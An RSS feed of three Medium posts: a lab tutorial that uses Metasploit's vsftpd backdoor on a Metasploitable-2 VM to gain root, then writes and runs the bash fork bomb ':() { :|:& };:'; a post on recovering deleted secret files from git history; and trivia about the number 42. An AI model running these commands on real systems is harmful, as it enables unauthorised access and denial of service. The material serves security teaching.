<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Thinley Jigme on Medium]]></title>
        <description><![CDATA[Stories by Thinley Jigme on Medium]]></description>
        <link>https://medium.com/@thinleyjigme705?source=rss-7d690cc25503------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*J8usgUjUNY5bBMZ689xysA.jpeg</url>
            <title>Stories by Thinley Jigme on Medium</title>
            <link>https://medium.com/@thinleyjigme705?source=rss-7d690cc25503------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 18:29:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@thinleyjigme705/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Demystifying Fork Bomb]]></title>
            <link>https://systemweakness.com/demystifying-fork-bomb-c82b4f17c406?source=rss-7d690cc25503------2</link>
            <guid isPermaLink="false">https://medium.com/p/c82b4f17c406</guid>
            <category><![CDATA[forkbomb]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[do]]></category>
            <category><![CDATA[metasploitable2]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[Thinley Jigme]]></dc:creator>
            <pubDate>Sat, 10 Aug 2024 11:17:16 GMT</pubDate>
            <atom:updated>2024-08-10T11:17:16.372Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wLA-IHG6ueuvGRxl" /><figcaption>Photo by <a href="https://unsplash.com/@fastermaster0?utm_source=medium&amp;utm_medium=referral">Oscar Ävalos</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Hello folks!</p><p>Its been quite long since I last posted any article. <br>But today it’s going to be an exciting one. I will be walking you through what <strong>Fork Bomb </strong>actually is. Moreover, I will be covering a lot of mesmerizing things along the way.</p><p>When I literally think of <em>fork bomb </em>it reminds me of Hiroshima and Nagasaki incident. It was a total devastating event in the human history that will be remembered throughout generations to come. Robert Oppenheimer, know as the <em>Father of Atom Bomb</em>, famously quoted,</p><blockquote>“Now I am Become Death, the Destroyer of the Worlds.” <a href="https://www.youtube.com/watch?v=pqZqfTOxFhY"><em>link</em></a></blockquote><p>This was actually a line from Hindu script called “Bhagavad Gita”. Frankly speaking I haven’t really read the script but it is said that it is the most well-know line from the script, but also the most misunderstood. I recommend reading it if you are interested. I personally find it intriguing when people from the scientific community show interest in hinduism and buddhism. Just to further intrigue you, I want to recommend the book <a href="https://issuu.com/awakenpublishing/docs/lamp_819d6dfc983cf4"><strong>Be a Lamp Upon Yourself</strong></a>. This book also highlights how the scientific concepts and theories were already known many years ago. One of my favorite was the Einstein’s famous <em>Mass-Energy Equivalence </em>equation, <em>E = mc².</em></p><p>Okay, it seems I am getting off tract. Pardon me!</p><p>Fork bomb is also no less than an atom bomb as it has the potential to demolish a whole Operating System (OS). Fork Bomb is also know as <strong>Rabbit Virus</strong>. To understand what it is, we need to know some few terminologies of an OS. Let’s try to understand each of them.</p><ol><li>Computer Resources:<br><em>A resource can be anything like CPU, memory, storage, and so on that can be utilized by our computer to perform computing tasks.</em></li><li>Operating System:<br><em>It is a crucial software component that acts as an intermediary between the hardware and software application of our computer. It basically, manages the computer resources allowing user to interact with the computer effectively. So, it resides between our computer applications and hardware.</em></li><li>Process: <em>It is an instance of a running computer program.</em></li><li>Fork: <em>In Unix OS, a fork is an operation where a process creates copy of itself. And the the process is called forking</em>.</li><li>System call: <em>As per </em><a href="https://www.geeksforgeeks.org/introduction-of-system-call/"><em>Geeks for Geeks</em></a>, it<em> is a mechanism used by programs to request services from the operating system (OS). In simpler terms, it is a way for a program to interact with the underlying system, such as accessing hardware resources or performing privileged operations.</em></li></ol><p>We are now left with another concept called <em>Denial of Service (DoS)</em> attack. It is a cyber-attack in which the attacker make the target machine or host resources unavailable by flooding it with superfluous requests. It is the most common global cyber-attacks.</p><h3>The Fork Bomb</h3><p>Finally! lets understand it.</p><p>A fork bomb is a DoS attack where a process continually replicates itself and exponentially depleting the system resources making it unavailable. Thus, slowing down or crashing the system due to resource scarcity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RjsJeLXoKfmmBlJTEeCXpA.png" /><figcaption>Image from <a href="https://en.wikipedia.org/wiki/Fork_bomb#/media/File:Fork_bomb.svg">Wikipedia</a></figcaption></figure><p>The concept of self replicating process can be thought of like a chain reaction. See I told you a fork bomb is similar to a nuclear bomb which also work on the same principle.</p><h4>Conceptual Implementation</h4><p>The implementation of a fork bomb is simply an infinite loop in which a function creates its own copy and calls itself. In Unix-like OSs, it can be implemented as,</p><pre>fork() {<br>  fork | fork &amp;<br>}<br>fork</pre><p>Where, we define a fork system call (fork() function). Within the function we call the function itself, and pipe | its result to the same function again. In a way, this is a simple recursion technique. The process is sent as a background process. Then, we call the function fork to initiate it.</p><p>The shorthand equivalent of the fork bomb can be written as follows;</p><pre>:() { :|:&amp; };:</pre><p>However, usage of this one-line script is permitted only in GNU Bash.</p><h4>Let&#39;s Try it Out!</h4><p>Before we delve into its actual implementation be aware of following warnings.</p><blockquote>Warning…<br>Performing fork bomb attack is dangerous for you system. So, it is always safer if we perform it in a safe and controlled environment. I recommend using a Virtual Machine (VM). You can create a host and target machine using VirtualBox (for Windows) and UTM (for MacOS) for virtualization of your VMs.</blockquote><blockquote>We will be using Kali Linux as local host, and Metasploitable-2 by Rapid7 as the remote host.</blockquote><p>I am assuming you are already done virtualizing the VMs. Now, lets understand fork bomb by implementing it.</p><ul><li><strong>Run the VMs and sign in:</strong><br>Run both the VMs and sign into each of them.</li><li><strong>Sign into metasploitable-2 as root:</strong><br>We need to sign in as root user, and <em>change directory </em>cd ../.. to root in target host.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cak0HxfyncQUUR9RTgN2XA.png" /><figcaption>Sing in as root user</figcaption></figure><ul><li><strong>Check the IP address:<br></strong>Use ifconfig in target and host (in kali terminal) to check their respective IP addresses. Note, that in reality hackers will get the IP of the target via various unethical means.</li><li><strong>Check the reachability of target and host:<br></strong>Check if the host and target are reachable by pinging each other.</li></ul><pre>ping &lt;IP_address&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AT_9ru--coD-3PXlI0hpcg.png" /><figcaption>Pinging host</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wOixOWXaJwwmJ4ConiNI2w.png" /><figcaption>Pinging target</figcaption></figure><ul><li><strong>Scan the target machine:<br></strong>We will be using Nmap to scan the target machine for any info that will be useful to us. <br><a href="https://nmap.org/book/man.html"><em>Nmap (Network Mapper)</em></a> is an open source tool used specifically for scanning, i.e., network exploration and security auditing.</li></ul><pre>nmap -A &lt;target_IP_address&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nOAWJ8nSM09Qy9r4ZUdJDg.png" /><figcaption>Scanning the target machine</figcaption></figure><p>where, -A flag is used to enable OS and version detection, script scanning, and traceroute. The output of the scanned target depends upon the options (flags) used.</p><p>For now, we will be using vulnerable ftp service with version vsftpd 2.3.4 and open port 21 to exploit target host.</p><p><strong>Exploit the vulnerability<br></strong>For exploiting the vulnerability we will be using <a href="https://docs.metasploit.com/"><em>metasploit-framework</em></a> which is a popular exploitation framework.</p><ul><li><strong>Run the metasploit-framework:<br></strong>To run the framework simply use msfconsole .</li><li><strong>Search the vulnerability:</strong><br>Search the vulnerability using the vulnerable ftp service that was scanned earlier.</li></ul><pre>search &lt;vulnerable_service&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8PY9wEv--SitQTyMPY0Fng.png" /><figcaption>search for vulnerability</figcaption></figure><ul><li><strong>Use preferred exploit:<br></strong>After we have identified the specific vulnerable module use the exploit. There the vulnerable exploit is a backdoor.</li></ul><pre>use &lt;vulnerable_module_path&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1uSWkePRs-ZIdAM_QfQePw.png" /></figure><ul><li><strong>Search for the options and accordingly set them:<br></strong>Now, we need to search for options that are required to be set in order to connect to the remote target. Depending upon the exploit the options will differ.</li></ul><pre>show options</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b-YaxIDY6C3q4V1MVBE4Gw.png" /></figure><p>Set the required options as per the exploit used. In our case, we need to only set the RHOSTS which is the IP of remote target host.</p><pre>set &lt;option&gt; &lt;corresponding_option_value&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C_18ET-K9fXVkHEwHT2bqw.png" /></figure><ul><li><strong>Run the exploit:</strong><br>Having correctly set the options we run the exploit using the run command. If you are asked to specify the password, simply re-run using the same run command. This will create a session with the remote target.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wv-m5LahLoBCYWB2KNerEA.png" /></figure><p>If you have come this far <em>Congratulations! </em>you have successfully exploited the target and has the root access to it. Try whoami to check if you have the root access. Also try listing all the files and directories in the target machine using ls .</p><h3>Launch a DoS attack</h3><p>Finally! It’s time to see fork bomb in action. Without further ado, let’s get started.</p><ul><li><strong>Check shell type:<br></strong>Since the shorthand script for fork bomb only works in bash let’s check shell type in both the local host and target host.</li></ul><pre>echo $0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*iyq-lDef56ntJMfbA_pPNg.png" /></figure><p>If it’s not bash switch the shell type by specifying the shell name. For example, bash command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j5UP8P50TZ5oNsSHEUvBBg.png" /></figure><ul><li><strong>Create the bash script:<br></strong>Since you have root access to the remote target machine create the bash script in a file named bomb .</li></ul><pre>echo &quot;#! /bin/bash&quot; &gt; bomb<br>echo &quot;:() { :|:&amp; };:&quot; &gt;&gt; bomb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Gids8AS2zd3WaoNqqMDBUQ.png" /></figure><p>If you ls in the target host, the bomb script file will be created. Of course, in reality you won’t have physical access to the target. But since you have the remote access via a backdoor, you can ls from your end as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hufVS_xUxLWLbnb_n0MK9A.png" /></figure><ul><li><strong>Change the permission:<br></strong>The file script is still not executable. So, ls -lh to check file permission. If it’s not executable, i.e., if you don’t see x , you need to change the permission. Make it executable to root user using,</li></ul><pre>chmod +x &lt;script_file_name&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*cNJy7CZZWCpb-PIvNMVS1Q.png" /></figure><ul><li><strong>Launch the attack:<br></strong>Now, launch by running the executable file (the script). In order to run the script simply ./bomb .</li></ul><pre>./&lt;script_file_name&gt;</pre><p>This will launch fork bomb attack wherein the self-replicating process will exponentially deplete the target machine resources. Thus, slowing it down and eventually crashing the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z5iryzZY8KXBKto5ewsnqw.png" /><figcaption>Fork Bomb in action</figcaption></figure><p>Don’t worry you can recover the crashed system by simply restarting the VM. But, if you had any unsaved changes during the time of the attack, then it will be lost. So, be mindful of it.</p><p>That’s all, folks! I’ve explained what a fork bomb is and how a seemingly harmless script can cause significant damage. In a future article, I’ll also cover how to prevent such attacks. This article is intended purely for educational and learning purposes, with no other intentions. As a beginner in cybersecurity, I welcome any feedback from readers who are experts in this field.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c82b4f17c406" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/demystifying-fork-bomb-c82b4f17c406">Demystifying Fork Bomb</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Simple Git Misstep That Could Open Doors for Hackers]]></title>
            <link>https://systemweakness.com/a-simple-git-misstep-that-could-open-doors-for-hackers-60a629cd7e65?source=rss-7d690cc25503------2</link>
            <guid isPermaLink="false">https://medium.com/p/60a629cd7e65</guid>
            <category><![CDATA[git]]></category>
            <category><![CDATA[git-commit]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Thinley Jigme]]></dc:creator>
            <pubDate>Mon, 06 May 2024 22:05:29 GMT</pubDate>
            <atom:updated>2024-05-09T14:33:01.240Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi folks! 👋 Welcome to my second article, where we delve into a seemingly minor but potentially catastrophic oversight that developers might unknowingly commit.</p><blockquote>In the realm of software development, even the smallest mistake can provide an opportune window for hackers.</blockquote><h4>Why GitHub Matters in This Context?</h4><p>GitHub is vital for Continuous Integration and Continuous Deployment (CI/CD), enabling developers to collaborate efficiently, and automate development pipeline. While it simplifies development processes, it also demands vigilance. A lapse in attention could unintentionally open a backdoor for cybercriminals.</p><h4>The Common Mistake: Careless Commit Messages</h4><p>When you commit changes in your project, the commit message might seem like the least of your worries. However, words such as “<em>key</em>”, “<em>env</em>”, “<em>credentials</em>”, and similar terms can unintentionally hint at the presence of sensitive information in the commit.</p><p><strong>Example</strong>: Consider using the command git log | grep key to look for commit message with word <em>key</em>. This can reveal commit messages that hint at the inclusion of sensitive data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_S71CQxbC28tHqgQgFz0Rw.png" /></figure><h4>The Risk Beyond the Initial Commit</h4><p>Suppose you realize that you’ve accidentally committed a file containing sensitive data (like .env or KEY.txt) and quickly remove it in a subsequent commit. While it might seem that you’ve handled the situation, the digital footprint of your mistake remains in the git history.</p><p>YES, you heard it right. Digital footprint!</p><h4>The Enduring Trace in Git Logs</h4><p>Git carefully records every action, and this history is accessible through various commands. For example, by using git log --help, you can explore tools and commands that interact with this history.</p><p>For now, we will particularly find the command relevant to us, i.e., one that <em>filter.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dy3piLX0434ZNa29sgLXYg.png" /></figure><p>Now, the command--diff-filter can filter the commit history based on the type of change.</p><p>To find deletions, use: git log --diff-filter=D --summary | grep KEY, where;</p><ul><li>Dor d<em> </em>is used for filtering deletions,</li><li>--summary is used to print summary,</li></ul><p>This command helps to identify the names of deleted files that matched sensitive keywords, potentially revealing the file ‘KEY.txt’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DifIUTdvFd74WawVhIH22A.png" /></figure><h4>How Hackers Exploit This Information</h4><p>With the file name in hand, a hacker can further explore the <em>git logs</em> to find the exact commit hash where ‘KEY.txt’ was deleted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*uDzCqfRhTt6rkAkWs-pvLg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*3aJGDrL_9XU3qcNE98H2xQ.png" /></figure><p>Using git show &lt;COMMIT_HASH&gt;, they can view the contents of the file as it existed before deletion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n79RYqLmIY-G5vyRnYSbEA.png" /></figure><h4>Conclusion</h4><p>Understanding the nuances of git commands and their implications is crucial in safeguarding your repositories. Developers must be vigilant with every commit, mindful of the history they leave behind, and aware of how seemingly harmless details can be exploited. By adopting best practices for secure commits and maintaining a clean git history, we can provide defenses against potential cybersecurity threats.</p><p>Remember, in the digital world, every detail counts. Secure your code as diligently as you write it.</p><p>Keep learning. Until next time adios folks! ✌️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=60a629cd7e65" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/a-simple-git-misstep-that-could-open-doors-for-hackers-60a629cd7e65">A Simple Git Misstep That Could Open Doors for Hackers</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Mystique of 42: A Ruby on Rails Connection]]></title>
            <link>https://medium.com/@thinleyjigme705/the-mystique-of-42-a-ruby-on-rails-connection-1388ccd4727d?source=rss-7d690cc25503------2</link>
            <guid isPermaLink="false">https://medium.com/p/1388ccd4727d</guid>
            <category><![CDATA[mathematics]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[pop-culture]]></category>
            <dc:creator><![CDATA[Thinley Jigme]]></dc:creator>
            <pubDate>Thu, 15 Feb 2024 16:30:30 GMT</pubDate>
            <atom:updated>2024-02-15T16:30:30.389Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*I57V1LM3ogoFKvIxNRHX0g.jpeg" /><figcaption>Photo from <a href="https://www.spreadshirt.ie/shop/design/life+universe+everything+42+answer+mens+long+t-shirt-D6389d8744b0e2752eef48a58?sellable=N0xGv7JlvOULQDJ0NXOd-1143-7&amp;view=D1">spreadshirt</a></figcaption></figure><p>Did you know that the number 42 has a special place not only in the world of comedy but also in the realm of mathematics, science, astronomy, religion making it a fascinating figure for us, especially in the world of Ruby on Rails?</p><p>Let’s unravel the mysteries behind it!</p><p>📚 First penned by the legendary <em>Douglas Adams</em> in his <strong>“The Hitchhiker’s Guide To The Galaxy”</strong>, 42 is hailed as the ultimate answer to <strong>“The meaning of life, the universe, and everything.”</strong> Adams chose this number because of its humorous sound, particularly the emphasis on the ‘O’ sound.</p><p>🔢 While 42 may not hold magical mathematical properties like magic numbers 3 or 7, neither it is a prime number nor belong to the Fibonacci Sequence. But it’s a superstar in the world of nerd humor and culture. <br>Die-hard fans of Douglas Adams unearthed some rare mathematical attributes:<br>1. It’s a ponic number: 6 * 7 = 42.<br>2. A primary pseudoperfect number: The sum of inverses of its prime factors and the number itself equals 1.<br>3. A member of the Harshad numbers sequence: 42 is divisible by the sum of its digits (4 + 2 = 6).<br>4. An abundant number: It’s smaller than the sum of its proper divisors.<br>5. A Sphenic number: The product of three prime numbers (2 * 3 * 7).</p><p>💻 Even in the world of computer science, 42’s binary form (<em>101010</em>) is a fascinating pattern. <br>1. Magic Number in Files: The number 42 acts like a secret code in file formats (e.g., TIFF and reiser4) to recognize the type of file it is.<br>2. Data Encryption Function: The GNU C Library’s memfrob() function uses 42 as XOR cipher to hide data.<br>3. Password Expiry Policy: Microsoft Windows domains commonly require users to change their passwords every 42 days for security.<br>4. Asterisk Symbol: In computing, the number 42 in ASCII represents the asterisk symbol, often used as a “wildcard” character.</p><p>🚄 In the context of Ruby on Rails, “<strong>forty_two</strong>” (42) is more than just a number. Also known as accessing “<strong>the reddit</strong>”.</p><p>Rails provides handy helper methods such as <em>Array#second</em>, <em>Array#third</em>, and so on to easily retrieve elements in an array. This helped make web developer’s lives easier. The rails developers needed more such helpers. So, <em>David Heinemeier Hansson (DHH)</em>, the creator of Rails, chose number “42” (The Ultimate Answer) as the method name with reference to Douglas Adams.</p><p>This inclusion of “42” adds a touch of nerd humor and culture to the Rails framework, making it more than just a web development framework, but also an expression of the community’s creativity and fun spirit.</p><p>So, the next time you encounter forty_two in your code, remember that it’s not just a number; it’s a part of a fascinating journey through science, literature, and the world of programming. 🌌 👨‍💻</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1388ccd4727d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>